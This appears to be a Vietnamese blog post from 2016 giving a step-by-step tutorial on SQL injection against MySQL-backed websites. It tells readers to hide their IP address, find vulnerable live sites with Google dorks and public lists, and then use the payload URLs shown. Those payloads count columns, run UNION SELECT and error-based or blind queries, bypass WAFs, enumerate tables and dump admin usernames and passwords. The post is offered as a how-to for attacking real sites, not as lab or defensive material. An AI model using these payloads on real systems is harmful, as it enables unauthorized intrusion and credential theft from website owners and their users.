Friday 19 February 2016

Detailed SQL Injection


Hôm nay mình sẽ hướng dẫn chi tiết nhất có thể cách khai thác SQL Injection.Ở đây mình giới hạn trong CSDL là MySQL.



B1: Using Google Dork find Website vulnerable
Trước khi thực hành khai thác lỗi SQL các bạn nên dùng các Tool ẩn, hoặc thay đổi địa chỉ IP Public của mình như ULTRASURF, SAFEIP, Hotspot Shield , Freegate...
Tìm site bị lỗi SQL Injection . How to find website SQL Injection

1. Using Google Dork Mở trình duyệt truy cập các trang sử dụng Google dork mình đã có đề cập phần 3
inurl:index.php?id=
2. SQL Vulnerable Website pastebin/List (Từ các pastebin)
3. https://www.punkspider.org/ ( 1 site list các trang web đang bị lỗi SQL Injection theo url hoặc tên miền)

Thử test site bằng cách thêm , "", ') , ") 
Code:
http://www.victim.com/newsdetail.php?id=51'
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Khi thêm " ' " đằng sau url câu lệnh truy vấn SQL 
PHP Code:
SELECT * FROM article
WHERE id = 5 ' 
Trong CSDL không lưu trữ  "id = 5 ' " --> Nó trả về kết quả Error mà chúng ta thấy .

B2: Find Number Columns

Code:
http://www.victim/newsdetail.php?id=51 order by X--
Tùy theo kinh nghiệm khai thác mỗi người, thường thì mình hay order by 100 trước. Nếu mà
gặp lỗi "Unknown column '100' in 'order clause'" thì số column chắc chắn <100 . Mình dò từ
10 trở đi.

Trường hợp dùng order by không thấy thay đổi hay khác biệt gì cả
Thử thêm dấu - hoặc ' hoặc thay id=NULL
http://www.victim.com/newsdetail.php?id=-51 order by X--
http://www.victim.com/newsdetail.php?id=51' order by X--
http://www.victim.com/newsdetail.php?id=-51' order by X--
http://www.victim.com/newsdetail.php?id=NULL order by X--

Giả sử ở đây victim có 3 Columns. Sau khi tìm được Columns tiến hành UNION SELECT
Code:
"index.php?id=-X UNION SELECT N--"

Code:
http://www.victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,3--
Trường hợp Union Select không hiện số.
+Ta cũng thử thêm ' hoặc viewsource , hoặc xem file ảnh bị lỗi để xem cột có thể khai thác.
+ gặp lỗi "Unable to run Query to get news"
Thử :
http://victim/news.phtml?id=-999999 union select 0,1,2,3/*

+ gặp lỗi 406 not acceptable bởi WAF chặn các câu lệnh truy vấn như Union,Select .(vấn đề bypass WAF mình sẽ viết 1 bài khác chi tiết hơn về vấn đề này).
Thử: /*!UNION*/ /*!SELECT*/ hoặc /*!50000UNION*/    để bypass.Ở đây */  đằng sau để chú thích .
/* Chú thích */
!  ở đây có thể hiểu là phủ định
Ví dụ: a=true !a=false

+ hoặc dùng Error based 
http://victim/news.phtml?id=-99 And (Select 1 From(Select Count( * ),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)– –

+Hoặc dùng Blind subtring
http://victim/news.phtml?id=-99 and substring(version(),1,1)=5

Tùy cơ mà ứng biến >.<

B3: Find Version
Dựa vào số hiện ra sau truy vấn Union Select. Giả sử cột 3 bị 
Code:
@@version, version()
database(),
user(),
@@hostname
@@datadir
http://victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,@@version--
Nếu database version < 5 --> Chúng ta cần hack đoán table
Nếu database version >=5 get table, column với group_concat

+ Version < 5 table có thể là : user, username, usernames, admin, admins, users, manager, 
account, accounts, member, login, logins, members, tbl_user, tbl_users, tbl_admin, 
tbl_admins, tbl_member, tbl_members, tbladmins, memberlist, tbluser, tblusers, tblmanager
tblmanagers, tblclients, tblservers, adminuser, usertbl, userstbl, admintbl, adminstbl, id
tuser, tusers, uid, userid, user_id, auid, adminpass, LoginID, FirstName, LastName, 
cms_user, cms_member, cms_users, cms_members, cms_admin, cms_admins, user_admin, user_info
user_list, user_login, user_logins, user_names, userrights, userinfo, userlist, webadmin
webadmins, Webmaster, Webuser, product, products, tblproducts, tblproduct, tbl_tbadmin
Adminlogin
Lưu ý: group_concat không dùng được version < 5

B4: GET Table_name
Code:
http://victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(table_name),9,10,11 from information_schema.tables where table_schema=database()--
Hoặc
unhex(hex(group_concat(table_name)))
convert(group_concat(table_name) using latin1)
convert(group_concat(table_name) using ascii)
Giả sử table_name ở đây là tbladmin

B5: GET Columns from table
Code:
http://victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(column_name,0x0a),9,10,11 from information_schema.columns where table_name=0x74626c61646d696e-- 
Chuyển tbladmin sang mã hexa . tbladmin = 74626c61646d696e
Giả sử ta có được columns id,username,passwd

B6: GET Data
Code:
http://victim.com/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(username,0x3a,passwd),9,10,11 from tbladmin--
Giả sử:
ishir:ishir123
Username: ishir
Password: ishir123

Tùy thuộc Password mã hóa dạng gì ?
MD5 Hash
21232f297a57a5a743894a0e4a801fc3 -- 32 characters

SHA-1 Hash
d033e22ae348aeb5660fc2140aec35850c4da997 -- 40 characters


Để tìm link admin các bạn có thể dùng Web Admin Finder v2.0 mình có share trong phần 3

Để phân tích site có bị lỗi SQL không có thể dùng Acunetix Web Vulnerability Scanner:

0 comments:

Post a Comment